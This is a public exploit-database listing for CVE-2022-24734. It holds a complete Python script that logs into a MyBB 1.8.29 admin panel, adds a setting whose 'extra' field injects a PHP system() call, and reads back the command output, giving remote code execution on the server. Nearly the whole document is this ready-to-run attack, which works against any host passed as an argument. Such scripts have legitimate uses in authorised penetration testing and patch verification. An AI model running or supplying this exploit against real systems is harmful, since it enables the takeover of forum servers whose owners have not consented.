Share
## https://sploitus.com/exploit?id=PACKETSTORM:167082
# Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2022-05-08  
# Exploit Author: Altelus  
# Vendor Homepage: https://mybb.com/  
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829  
# Version: MyBB 1.8.29   
# Tested on: Linux  
# CVE : CVE-2022-24734  
  
# An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting.   
# The user must have a rights to add or update setting. This is tested on MyBB 1.8.29.  
# The vulnerability may have existed as early as 1.4.0 since this   
# 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f)   
  
import requests  
import argparse  
import random  
import string  
from base64 import b64decode  
from bs4 import BeautifulSoup  
  
  
def login(username, password):  
  
data = {  
"username" : username,  
"password" : password,  
"do" : "login"  
}  
  
login_txt = r_client.post(host + "/admin/index.php", data=data).text  
  
if "The username and password combination you entered is invalid" in login_txt:  
print("[-] Login failure. Incorrect credentials supplied")  
exit(0)  
  
print("[+] Login successful!")  
  
  
def add_settings(cmd, raw_cmd=""):  
  
config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text  
  
if "Access Denied" in config_settings_txt:  
print("[-] Supplied user doesn't have the rights to add a setting")  
exit(0)  
  
print("[*] Adding a malicious settings...")  
  
soup = BeautifulSoup(config_settings_txt, "lxml")  
my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']  
  
rand_string = get_rand_string()  
  
if raw_cmd != "":  
extra = "\" . system('{}') .\"".format(raw_cmd)  
else:  
extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)  
  
data = {  
"my_post_key" : my_post_key,  
"title" : "An innocent setting",  
"description" : "An innocent description",  
"gid" : 1,  
"disporder" : "",  
"name" : rand_string,  
"type" : "\tphp",  
"extra" : extra,  
"value" : "An innocent value"   
}  
  
post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)  
  
if post_setting.status_code != 302:  
soup = BeautifulSoup(post_setting.text, "lxml")  
error_txt = soup.find_all("div", {"class" : "error"})[0].text  
print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))  
exit(0)  
  
print("[+] Malicious post settings accepted!")  
return rand_string  
  
def get_rand_string(length=20):  
  
return ''.join(random.choice(string.ascii_letters) for i in range(length))  
  
def get_cmd_result(ident_string, raw_cmd=""):  
  
conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text  
  
soup = BeautifulSoup(conf_settings_list, "lxml")  
row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]  
  
cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text  
  
if raw_cmd == "":  
cmd_result = b64decode(cmd_result[2:]).decode()  
  
print("[+] Result: {}".format(str(cmd_result)))  
  
parser = argparse.ArgumentParser()  
  
parser.add_argument('--username', required=True, help="MyBB Admin CP username")  
parser.add_argument('--password', required=True, help="MyBB Admin CP password")  
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")  
parser.add_argument('--cmd', required=False, help="Command to run")  
parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")  
args = parser.parse_args()  
  
username = args.username  
password = args.password  
host = args.host  
  
cmd = "id" if args.cmd == None else args.cmd  
raw_cmd = "" if args.raw_cmd == None else args.raw_cmd  
  
r_client = requests.Session()  
  
login(username, password)  
ident_string = add_settings(cmd, raw_cmd=raw_cmd)  
get_cmd_result(ident_string, raw_cmd=raw_cmd)